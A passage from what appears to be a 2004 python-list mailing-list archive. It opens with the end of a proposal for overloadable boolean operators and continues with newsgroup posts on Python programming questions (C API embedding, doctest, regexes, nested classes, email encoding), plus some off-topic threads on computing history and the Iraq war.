special method is not found or returns NotImplemented.

As a special case, if the first operand defines a phase 2 method but
no corresponding phase 1 method, the second operand is always
evaluated and the phase 2 method called.  This allows an object which
does not want short-circuiting semantics to simply implement the
relevant phase 2 methods and ignore phase 1.


Bytecodes
---------

The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2,
LOGICAL_OR_1 and LOGICAL_OR_2.  As an example of their use, the
bytecode generated for an 'and' expression looks like this::

             .
             .
             .
             evaluate first operand
             LOGICAL_AND_1  L
             evaluate second operand
             LOGICAL_AND_2
        L:   .
             .
             .

The LOGICAL_AND_1 bytecode performs phase 1 processing.  If it
determines that the second operand is needed, it leaves the first
operand on the stack and continues with the following code.  Otherwise
it pops the first operand, pushes the result and branches to L.

The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both
operands and pushing the result.


Type Slots
----------

A the C level, the new special methods are manifested as five new
slots in the type object.  In the patch, they are added to the
tp_as_number substructure, since this allowed making use of some
existing code for dealing with unary and binary operators.  Their
existence is signalled by a new type flag,
Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD.

The new type slots are::

     unaryfunc nb_logical_not;
     unaryfunc nb_logical_and_1;
     unaryfunc nb_logical_or_1;
     binaryfunc nb_logical_and_2;
     binaryfunc nb_logical_or_2;


Python/C API Functions
----------------------

There are also five new Python/C API functions corresponding to the
new operations::

     PyObject *PyObject_LogicalNot(PyObject *);
     PyObject *PyObject_LogicalAnd1(PyObject *);
     PyObject *PyObject_LogicalOr1(PyObject *);
     PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *);
     PyObject *PyObject_LogicalOr2(PyObject *, PyObject *);


Copyright
=========

This document has been placed in the public domain.


..
    Local Variables:
    mode: indented-text
    indent-tabs-mode: nil
    sentence-end-double-space: t
    fill-column: 70
    End:



From albalmer at att.net  Tue Sep  7 13:57:17 2004
From: albalmer at att.net (Alan Balmer)
Date: Tue, 07 Sep 2004 10:57:17 -0700
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<Icn_c.9228$lv3.4077523@news4.srv.hcvlny.cv.net>
Message-ID: <0itrj0ppr5urv2cohmhjmbtlc4ka794fc4@4ax.com>

On Sat, 04 Sep 2004 17:47:20 GMT, "John W. Kennedy"
<jwkenne at attglobal.net> wrote:

>Rupert Pigott wrote:
>> I would hope that Morton Thiokol's experience at building a diverse
>> range of rockets might have been a factor in the decision too.
>
>I would hope so too, but that isn't how it happened.  In history as it 
>actually went, the Morton-Thiokol design came in a distant fourth, and 
>the White House ordered NASA to try again, but this time come up with 
>the "right" answer.

This disagrees with the scenario presented (and documented)
elsethread. Do you have supporting references?

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From russblau at hotmail.com  Tue Sep 28 09:56:11 2004
From: russblau at hotmail.com (Russell Blau)
Date: Tue, 28 Sep 2004 09:56:11 -0400
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
Message-ID: <2rt8rsF1ej1qmU1@uni-berlin.de>

"Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message
news:415966e1$0$23075$ba624c82 at nntp05.dk.telia.net...
>
> and I have to use the raw_input method to get the number:
>
> indput : raw_input(" Tell me the number you want to transform to textuel
> representaion")
>
> The I have to transform the input to a string
> indput = str(indput)

Actually, the value returned by raw_input() *is* a string, but you might
want to check to see whether the user has actually typed in an integer as
opposed to typing, say, "Go away you stupid computer."

try:
    indput = str(int(indput))
except ValueError:
    print "No, you need to give me an integer."

> Will one of you be so kind and tell me how I count the lengt of the indput
> number i was thinking on something like input.count[:] but that dosnt
> work...

You could consider using the built-in function len().


-- 
I don't actually read my hotmail account, but you can replace hotmail with
excite if you really want to reach me.




From spam at nimblegen.com  Tue Sep 14 10:46:52 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Tue, 14 Sep 2004 09:46:52 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <m3pt4qc57f.fsf@europa.pienet>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
	<chsu8b$ujb$1@grandcanyon.binc.net>
	<Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com>
	<ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet>
Message-ID: <ci707n$miq$1@grandcanyon.binc.net>

Greg Menke wrote:
> Chuck Dillon <spam at nimblegen.com> writes:
> 
> 
>>Antony Sequeira wrote:
>>
>>
>>>Chuck Dillon wrote:
>>>How is that related to Saqqddam Hussqqqqqain being a jackass and us
>>>spending 100 or whatever billions on removing him and having 1000+
>>>of Americans + unknown number of Iraqqqqqis getting killed. How does
>>>that help avoid
>>>9 qqqq  11 or are you confused between Iraqqqqqis and Saudqqqqis ?
>>
>>If you reread the post that you responded to you will see it has
>>nothing to do with Iraq.
>>
>>However, to answer your question: How does regime change in Iraq help
>>avoid another 9/11...
>>	1) It removes one of the states that might consider sponsing
>>such a future attach.
> 
> 
> Wouldn't it have made more sense to invade Saudi Arabia?  Thats where
> the terrorist money and terrorist leadership is from.  Iraq is chump
> change on that account- heck, even Iran or Syria would've made a much
> better target on this basis.  Or are we such bullies that we'll pick
> the weakest kid to beat up to show how strong we are?

Please try and follow the trend of the thread you respond to.  I did 
not address whether or not regime change in Iraq was an optimal move. 
I'm responding to the question posed, see above for what it was.

Regardless of how we got where we are there are arguably benefits to 
the "war on terror".  That doesn't mean you should miopically focus on 
them as the sole rationale for regime change in Iraq.  See the various 
U.N Security Counsil resolutions for the primary rationale.  Also, see 
the reports from Blix et.al. that point out the lack of cooperation on 
the part of the Iraqi government.

> 
>>	6) It underscores that 9/11 should go into the "bad idea"
>>category for future planners of Islamic extremist operations.
> 
> 
> Afganistan taught that.  

Hence my use of the qualifier "underscores".

> Iraq teaches the Islamic world that we're
> crazy.

By "we" you are referring to the some 40 nations who have contributed 
to the effort right?

-- ced


-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From chrisks at NOSPAM.udel.edu  Sun Sep 19 04:52:13 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 08:52:13 GMT
Subject: Math errors in python
In-Reply-To: <natcr8xc829g.16rpbpuuhuazi.dlg@40tude.net>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>	<pan.2004.09.19.13.27.17.613143@jerf.org>	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<natcr8xc829g.16rpbpuuhuazi.dlg@40tude.net>
Message-ID: <1Nb3d.1326$HH5.1293@trndny05>

Richard Townsend wrote:
> On Sun, 19 Sep 2004 08:00:03 GMT, Chris S. wrote:
> 
> 
>>Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this 
>>arithmetic is meant for. Any decimal can be represented by a fraction, 
>>yet not all fractions can be represented by decimals. My point is that 
>>such simple accuracy should be supported out of the box.
>>
> 
> 
> Do you really think Pi equals 22/7 ?

Of course not. That's just a common approximation. Irrational numbers 
are an obvious exception, but we shouldn't sacrifice the accuracy of 
common decimal math just for their sake.

> 
>>>>import math
>>>>print math.pi
> 
> 3.14159265359
> 
>>>>print 22.0/7.0
> 
> 3.14285714286
> 
> What do you get on your $20 calculator ?

The same thing actually.


From martin at v.loewis.de  Thu Sep  2 02:27:04 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 02 Sep 2004 08:27:04 +0200
Subject: Extending/Embedding python
In-Reply-To: <mailman.2744.1094082648.5135.python-list@python.org>
References: <mailman.2744.1094082648.5135.python-list@python.org>
Message-ID: <4136bd37$0$21772$9b622d9e@news.freenet.de>

Alicia Haumann wrote:
> 1.  (Not extending/embedding related at all)  How can I pass in a load/bunch
> of defines so I can use them over and over again, instead of having to copy
> them in every *.py script.

You should use PyModule_Add<Foo>Constant.

> 2.  A couple simple examples I've seen for initModule() are written
> differently.  One only calls Py_InitModule("module", module_methods), but
> the other also calls PyImport_AddModule("module").  What is the difference?
> What does PyImport_AddModule() accomplish?

See

http://docs.python.org/api/importing.html

> 3.  When embedding Python into my simple application, why can't I pass
> application parameters?  PyRun_SimpleString seems to only take hard-coded
> values.  Can/How can I get around this? 

Don't use PyRun_SimpleString; use PyObject_CallFunction/Method instead.

HTH,
Martin


From martin at v.loewis.de  Sun Sep  5 05:24:50 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 05 Sep 2004 11:24:50 +0200
Subject: Minor nit in Py24 installer: Deselecting register extensions
 de-registers existing associations
In-Reply-To: <mailman.2888.1094353721.5135.python-list@python.org>
References: <mailman.2888.1094353721.5135.python-list@python.org>
Message-ID: <413adb5b$0$24811$9b622d9e@news.freenet.de>

Mike C. Fletcher wrote:
> After installation, there are *no* associations with Python files, that 
> is "assoc .py" on the command line shows that there's no "Python" file 
> type remaining.

I'll see what I can do about this. This extension-registration turns out
to be really tricky, as MSI does not support conditional installation
of extensions out of the box.

Regards,
Martin


From BrenBarn at aol.com  Fri Sep 10 15:07:26 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 10 Sep 2004 19:07:26 GMT
Subject: Nested class structures
Message-ID: <Xns95607B54E1208OKB@130.133.1.4>

    	For a variety of reasons, I'm interested in putting together some 
code that will allow me to created structures out of nested classes, 
something like:

class class1:
    	def methA(self):
    	    	print "Some code here"
    	class class2:
    	    	propA = "A"
    	    	def methB(self):
    	    	    	print "Some more code here"
    	class class3:
    	    	# etc.
    	    	class class4:
    	    	    	pass
    	    	    	#etc

    	The main problem is that Python does not seem to provide enough 
information about the lexical context of definitions like this.  In 
particular, I would like the ability to have some of the nested classes 
be "anonymous" -- that is, I don't want to have to worry about choosing 
identifiers for them.  I'd LIKE to do this:

class class1:
    	class anon: pass
    	class anon: pass
    	class anon: pass

    	. . . and somehow intercept or monitor the name-binding that's 
going on there so I wind up with three separate classes which are bound 
to uniquely named attributes of class1.  But I can't do this because 
each anon stomps on the previous name binding, and there doesn't seem to 
be a way to intervene and bind a new attribute in class1, because class1 
isn't really created until after all the nested class definitions 
happen.

    	I've been playing around with various metaclass approaches, but I 
can't seem to get it to really work.  (In the nested class structures, 
the metaclass instantiations happen from the bottom up, and that's the 
main snag.)  Are there any hooks or hacks that would allow me to affect 
the way nested class definitions are bound to the attribute names of an 
enclosing class definition?  Or alternatively, a way to construct on the 
fly a separate list or tree that reflects the nesting structure?

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From pwatson at redlinepy.com  Fri Sep  3 09:46:01 2004
From: pwatson at redlinepy.com (Paul Watson)
Date: Fri, 3 Sep 2004 08:46:01 -0500
Subject: print with no newline
Message-ID: <2prasrFo4rruU1@uni-berlin.de>

I thought that using a comma at the end of a print statement would suppress
printing of a newline.  Am I misunderstanding this feature?  How can I use
print and not have a newline appended at the end?

C:\src\projects\test1>python -c "import sys;print sys.version, 'running on',
sys.platform"
2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] running on
win32

C:\src\projects\test1>python -c "print 'here'," >jjj

C:\src\projects\test1>od -c jjj
0000000   h   e   r   e  \r  \n
0000006


$ python -c "import sys;print sys.version, 'running on', sys.platform"
2.1 (#1, May 23 2003, 11:43:56) [C] running on aix4

$ cat eoltest.py
#!/usr/bin/env python
print 'here',

$ ./eoltest.py >jjj

$ od jjj
0000000  068 065 072 065 00a
           h   e   r   e  \n
0000005




From googlemike at hotpop.com  Thu Sep  2 16:04:10 2004
From: googlemike at hotpop.com (Google Mike)
Date: 2 Sep 2004 13:04:10 -0700
Subject: HOWTO: Set Main Application Font in PyGTK
References: <25d8d6a8.0409011731.2078f58b@posting.google.com>
	<41371BDB.4080706@draigBrady.com>
Message-ID: <25d8d6a8.0409021204.6531e667@posting.google.com>

> You have read section 4 of the FAQ haven't you?
> http://www.async.com.br/faq/pygtk/index.py?req=index
> 
> P?draig.

This was extremely useful and had much more information that I found
useful than I expected! Why hadn't I known about it sooner?? :)


From lonetwin at gmail.com  Tue Sep 21 11:15:29 2004
From: lonetwin at gmail.com (Steve)
Date: Tue, 21 Sep 2004 20:45:29 +0530
Subject: OT: regex to find email
In-Reply-To: <4a0cafe204092108038020f72@mail.gmail.com>
References: <4a0cafe204092108038020f72@mail.gmail.com>
Message-ID: <5a309bd304092108153f18189a@mail.gmail.com>

Hi Josh,
> I've been trying to find a good regex to parse emails, but haven't
> found any to my liking. I basically need to have

I'm assuming you meant 'good regex to parse email ids'. I knew someone
would want this someday :). Here goes:
import re
r = re.compile (r"""(?P<name>["(].+[")]\s)?    # The name preceding
the id, if any
                    (?P<mailid>[<\w]+[-\w.<+]+@(\w+\.)+[\w>]+) # The actual id 
                    (?P<trailing>\s["(].+[")])?          # The
trailing name if any
                 """, re.VERBOSE)
re.search(r, '-sdf at sdf.cas').group('mailid')

HTH
Steve


From luismg at gmx.net  Thu Sep 30 11:14:25 2004
From: luismg at gmx.net (Neuruss)
Date: 30 Sep 2004 08:14:25 -0700
Subject: List comprehensions performance
References: <278de0e.0409291441.4ef0a859@posting.google.com>
Message-ID: <278de0e.0409300714.efc264d@posting.google.com>

Thank you guys!
I will investigate the timeit module as suggested for these kind of tests...


From jmfbahciv at aol.com  Thu Sep  2 09:13:33 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 02 Sep 04 13:13:33 GMT
Subject: Xah Lee's Unixism
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<ullfserte.fsf@mail.comcast.net>
Message-ID: <41372f4a$0$19727$61fed72c@news.rcn.com>

In article <ullfserte.fsf at mail.comcast.net>,
   Anne & Lynn Wheeler <lynn at garlic.com> wrote:
>Brian Inglis <Brian.Inglis at SystematicSW.Invalid> writes:
>> MS has been borrowing code from Unix to create a real OS: TCP/IP;
>> NTFS<-ffs; memory mapped files<-mmap. 
>> Shame they keep trying to add their own ideas in too: that must be
>> what causes the crashes! 
>
>and unix goes back to multics ... which was on 5th floor, 545 tech sq.
>while cp/cms was at the science center on 4th floor, 545 tech sq ... 
>http://www.garlic.com/~lynn/subtopic.html#545tech
>and they both go backto ctss
>

And everybody seems to think that those people never talked to
each other.  Even boasting about whose is bigger, faster,
and longer would transmit new ideas among the bit setters.

/BAH

Subtract a hundred and four for e-mail.


From jmfbahciv at aol.com  Sat Sep  4 06:39:48 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sat, 04 Sep 04 10:39:48 GMT
Subject: Xah Lee's Unixism
References: <ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<usm9zqc4h.fsf@mail.comcast.net>
	<enqhj0ls347lcgc4brjvcjqrtnqvsfencd@4ax.com>
	<ud612rket.fsf@mail.comcast.net> <u3c1yrka7.fsf@mail.comcast.net>
Message-ID: <4139ae57$0$19717$61fed72c@news.rcn.com>

In article <u3c1yrka7.fsf at mail.comcast.net>,
   Anne & Lynn Wheeler <lynn at garlic.com> wrote:
>Anne & Lynn Wheeler <lynn at garlic.com> writes:
>> if you choose your road routes carefully enuf ... you can miss a lot
>> of the problems that you would run into moving by train. we had one
>> route where i was on the peak of the house and had to grab wires over
>> the side .... lift the wires up to clear the peak and walk the wires
>> back as the house moved under.
>
>oh ... and people have died doing that ... 

That was my next question :-).  How did you manage?

/BAH

Subtract a hundred and four for e-mail.


From anon at ymous.com  Tue Sep 14 23:44:36 2004
From: anon at ymous.com (Anon)
Date: Wed, 15 Sep 2004 03:44:36 GMT
Subject: optimizing memory utilization
References: <pan.2004.09.14.04.38.02.647096@ymous.com>
	<ci6f73$921$1@newstree.wise.edt.ericsson.se>
	<1db49385.0409141355.5d204a03@posting.google.com>
	<ci88tm$v5c$0$216.39.172.122@theriver.com>
Message-ID: <pan.2004.09.15.03.51.25.542250@ymous.com>

On Wed, 15 Sep 2004 02:20:38 +0000, Bengt Richter wrote:

> Need example of raw input and desired output ;-)
The input is:
- one "csv" file containing a list of albums with their artist and an
AlbumID - one "csv" file containing a list of track names and associated
AlbumID - one big file containing fully-qualified paths to mp3 files

The desired output is:
and XML file with the "proposed" artist, album, and track name for each
file.  The file name would be the top level element for a given XML node
and then there would be element groupings of "proposed" artist, album, and
track name for each file.

The last step is to edit the XML file and "select" the desired fields from
list of candidates for each fields, and then use the XML as a work order
for tagging (and possibly renaming) all of the identified files.


> Patterns starting at any character? What if you have overlapping
> matches? I.e., if you had a string 'abbcde123', and were looking for
> 'bb' and 'bc' would it count as two matches?  Would longer matches have
> priority? E.g., matching 'bbcd' overrides 'bb and 'cd' as separate
> matches?

Yes, yes, and yes...


> Anyway, let's see what a brute force simple approach does. E.g, just put
> the 500,000 small strings in a small tree of dictionaries based on say
> string length, then the string (you could tier it again with some
> leading characters and the rest, but I'd try the easy thing first. But
> anyway, the idea (practically untested) is something like:

I had planned to sort the list based upon string length (and probably
apply some minimum length requirement too), but the tree of dictionaries
surely seems a bit more elegant.


> This finds repeating and overlapping patterns, since it was easy. That
> may not be what you want, but you didn't say ;-)
> 
> ----< s500kin10k.py >--------------------------------------- def
> main(path500k, path10k):
>     root = {}
>     for line in file(path500k):
>         line = line.rstrip()
>         if not line: continue
>         root.setdefault(len(line),{})[line] = None
>     lengths = root.keys()
>     lengths.sort()
>     print lengths
>     print root
>     # and then walk through your 10k strings of ~256 characters
> 
>     for nl, line in enumerate(file(path10k)):
>         line = line.rstrip()
>         hdr = 'Line %s: %r\n' % (nl, line)
>         nc = len(line)
>         for length in lengths:
>             if length > nc: break
>             tier1 = root[length]
>             for nstep in xrange(nc+1-length):  # walk a window of length
>             chars
>                 if line[nstep:nstep+length] in tier1:
>                     print '%s    %r' % (hdr, line[nstep:nstep+length])
>                     hdr = ''
> 
> if __name__ == '__main__':
>     import sys
>     if len(sys.argv)!=3: raise SystemExit, """ Usage: s500kin10k.py
>     path500k path10k
>         where path500k has 500k lines of one string each, and path10k
>         has 10k lines to search for the 500k in any position.
> """
>     main(*sys.argv[1:])
> ------------------------------------------------------------
> 
> 
Gee, thanks.  That's a nice example!

> I suspect that you won't be that happy iterating through just arrays,
> unless they are arrays of patternmatching tables like IIRC flex
> generates to do parsing. Basically doing tricky parallel pattern
> matching by keeping track of which patterns are alive as you go from
> character to character. But 500k patterns are a lot of patterns....

Since I only want to do it once in rare while, execution time isn't a huge
deal...  I could readily write this code in C and make my data fit within
a reasonable amount of RAM, but I'm trying to use the project as an
opportunity to lean Python.


> See if the above runs you out of memory. Or time ;-) I'd try it on
> shorter files first. You didn't say what you wanted your final output to
> look like. Small examples of input => output communicate well ;-)

Well, basically, I'm trying to use the FreeDB database as a list of valid
artists, albums, and tracks to locate these strings within the file names
of mp3 files and then use those result to apply ID tags to the mp3 files.
I'm assuming that I'll have multiple matches for any given file so my plan
was to output to an XML file, hand 'clean' that, and then use the XML as
the input for the actual tagging operation.

Thanks,
Wes


From clifford.wells at comcast.net  Sun Sep 19 20:08:56 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 17:08:56 -0700
Subject: python is going to die! =(
In-Reply-To: <cil665$rjn$1@sea.gmane.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org> <cil665$rjn$1@sea.gmane.org>
Message-ID: <1095638937.31957.344.camel@devilbox.devilnet.internal>

On Sun, 2004-09-19 at 19:53 -0400, julio wrote:

> So am i missing something ? are any of my arguments wrong ? again : 

The fundamental problem with your arguments/complaints is that you
somehow think that someone, somewhere on this list owes you something.
Python (unlike C#, Mono being an exception) is, for the most part, a
volunteer effort.  I suppose next you'll be going to the local food
shelter and complaining that their sandwiches can't compete with
McDonalds.  

If you want an IDE and you know what makes a good one, then you should
write one.  Better yet, help out on one of the existing ones (i.e. Boa
Constructor, Anjuta) and help shape it into what you think an IDE should
be.  

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From alf at merlin.fayauffre.org  Tue Sep  7 09:28:50 2004
From: alf at merlin.fayauffre.org (Alexandre Fayolle)
Date: Tue, 7 Sep 2004 13:28:50 +0000 (UTC)
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
	(was:	Announcing PyCs, a new Python-like language on .Net)
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com>
Message-ID: <chkd2i$2lkj$2@biggoron.nerim.net>

Le 07-09-2004, Roger Binns <rogerb at rogerbinns.com> a ?crit?:
> It was how I came up with Entrocul and BitPim :-)

Well. Am I the only one surprised that "entrocul" searched on google
doesn't lead to some pr0n page, possibly in French, or some other
latin-derived modern language? :-)

-- 
Alexandre Fayolle                              LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org


From b.niemann at betternet.de  Fri Sep  3 12:00:50 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Fri, 03 Sep 2004 18:00:50 +0200
Subject: Problem with quopri in email
Message-ID: <cha498$bbk$1@online.de>

Hi,

I just sent a newsletter (HTML with <img>s) using a Python script.
Looking at the error_log of our web server, I'm seeing lots of 404 error for 
files like
/images/news/f68f57c1c67dc319d84f7c11c8b71b65jpeg
or
/images/news/f23a00f8bd912b73b4f63149cc808dbf..jpeg
(there should be exactly one dot...)

The corresponding parts of the quopri encoded HTML looks like this:
...<img=
src=3D"http://www.fujinews.de/images/news/f68f57c1c67dc319d84f7c11c8b71b65=
.jpeg" alt=3D"E550_seitliche_front_flash low res.jpg" vspace=3D"4" hspace=
=3D"4" border=3D"0" align=3D"left" />...

The dropped/duplicated dot is at the beginning of the line - other images are 
not affected.

Mailreaders with IE6 as HTML renderer make both mistakes (dropping and 
duplicating the dot), others like Lotus Notes 5 or various webmailers only 
duplicate the dot.

I'm using Python 2.2.1 on Debian 3.0
The version of email module is 2.5.3 (not the one from the Python2.2 package).

Whose fault is it?
I found nothing in RFC 1521 that disallows lines starting with a dot (unless 
it's the only character on the line) - the fragment above seems to be valid 
quoted-printable, as far as I can tell. Am I right?
If it is not a bug in the email module, has anyone ideas for a workaround?
(except forcing our client not to use Notes 5 anymore ;)


Greetings from Heidelberg,
	Benjamin Niemann


From tim.peters at gmail.com  Sat Sep  4 13:06:53 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 4 Sep 2004 13:06:53 -0400
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
In-Reply-To: <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com>
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
	<mailman.2807.1094184160.5135.python-list@python.org>
	<1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> <uk6vbmcru.fsf@fitlinxx.com>
	<1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com>
Message-ID: <1f7befae04090410063cfec809@mail.gmail.com>

[David Bolen]
 ...
>> The one failure that I don't think you could easily anticipate is a
>> change in the actual exception message - for example the "r('shuf',
>> 'astring')" test wants a TypeError saying "object doesn't support item
>> assignment", but 2.4 changes that to "object does not support item
>> assignment".

[Alex Martelli]
> Yeah, doctest IS prone to this sort of issue, sigh -- wording of error
> messages keeps changing, in ways either subtle or major.  I gather that
> 2.4 doctest has a "skip" indicator (an ellipsis I believe) to help with
> that, but I don't want to break compatibilty with 2.3...

Darn.  The new doctest ELLIPSIS directive is a good long-term approach
to this, but you're right that it doesn't help you today.  So, in the
*next* Python 2.4 prerelease, there will be a new
IGNORE_EXCEPTION_DETAIL directive.  Then, e.g., this doctest passes
under 2.3.4 and 2.2.3, and will also pass in 2.4:

>>> (1, 2)[3] = 'moo' #doctest: +IGNORE_EXCEPTION_DETAIL
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: object doesn't support item assignment

Since doctest directives didn't exist before 2.4, earlier Pythons view
them as comments, and insist on exact match.  2.4 will still insist on
seeing a TypeError, but won't care that "doesn't" has changed to "does
not" (or, for that matter, won't care if the actual detail is
"Congratulations, Anna and Alex!").

After Pythons prior to 2.4 become uninteresting, a less forgiving test
can be gotten via, e.g.,

>>> (1, 2)[3] = 'moo' #doctest: +ELLISPSIS
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: object does... support item assignment


From mcfletch at rogers.com  Tue Sep 14 17:03:33 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Sep 2004 17:03:33 -0400
Subject: Random Instance generation
In-Reply-To: <494182a9.0409141247.608d365f@posting.google.com>
References: <494182a9.0409141247.608d365f@posting.google.com>
Message-ID: <41475CA5.2020604@rogers.com>

from basicproperty import common, propertied

class MyObject( propertied.Propertied ):
    name = common.StringProperty(
       "name", """The "name" of the object by some measure""",
    )

instances = [ MyObject( 'a%d'%(i,)) for i in range(100) ]

Doing it without basicproperty defining a "name" would, of course, 
require you to determine what you mean by having a "name of" a1 (in 
Python, names point to objects from namespaces, they aren't necessarily 
attributes of the objects themselves, so two names can point to one 
object, or an object can be entirely without a name).

For instance:

    instances = dict( [ ('a%d'%(i,),object()) for i in range( 100 ) ] )

would give you a dictionary with 100 named objects in which you could 
then "eval" or "exec" code snippets that rely on those names.

 >>> instances = dict( [ ('a%d'%(i,),object()) for i in range( 100 ) ] )
 >>> instances['a1']
<object object at 0x00C7D3C0>
 >>> eval( '(a2, a8,a4)', instances )
(<object object at 0x00C7D3C8>, <object object at 0x00C7D3F8>, <object 
object at 0x00C7D3D8>)

which is the kind of thing you would do if you were trying to write an 
interpreter.

Good luck,
Mike

Balaji wrote:

>Hello eveybody....
>
>Suppose there is a class A:
>
>I want to generate say 100 random instance of it...
>
>How can I do that....
>
>I want the instance name to be like a1, a2, a3...
>
>Any ideas.....
>
>Cheers
>
>Balaji
>  
>
________________________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://www.vrplumber.com
  http://blog.vrplumber.com



From godoy at ieee.org  Wed Sep 15 20:39:04 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 15 Sep 2004 21:39:04 -0300
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<mailman.3388.1095291463.5135.python-list@python.org>
Message-ID: <m33c1jvyhj.fsf@g2ctech.com>

Carlos Ribeiro <carribeiro at gmail.com> writes:

> The biggest problem for we third-world money-impaired users that many
> people don't realize is that we charge for our services in the local
> currency, but have to buy stuff in strong currency (dollars or euros).
> That's what kills us. *If* the conversion rate were lower (1:1, for
> example, as it was a not so long time ago) it would be possible. I'll
> tell you some figures.

It was a good time that one.  But then, it was an artificial and
unsustainable situation for the economics of Brasil.  If it had been
more recently, then I believe it would last longer.

> An average programmer in Brazil makes betwen R$ 800,00 to R$
> 2000,00/month. The actual income, roughly converted, is in the US$ 270
> -- US$ 650 range. Yes - is this low. Senior programmers or analyst can
> make more, specially if they live in S?o Paulo, but then the actual
> cost of living will make a much bigger dent on their income.  In other
> words - a US$ 300 tool is too expensive.

And you are taking a good income (R$ 2000,00).  I explained about the
minimum wage here...  US$ 80.00 against the (I believe) US$ 1100.00 in
the US and probably something like that in the EU countries. 

> (AFAIK, there are some companies that run special discounts for
> customers in third world countries. That's fair for software, I think.
> It's a shame no more companies do the same)

Specially with the distribution model where you download everything from
the Internet...  No storage costs, no S&H costs... 

-- 
Godoy.     <godoy at ieee.org>


From FBatista at uniFON.com.ar  Thu Sep 16 08:29:11 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 16 Sep 2004 09:29:11 -0300
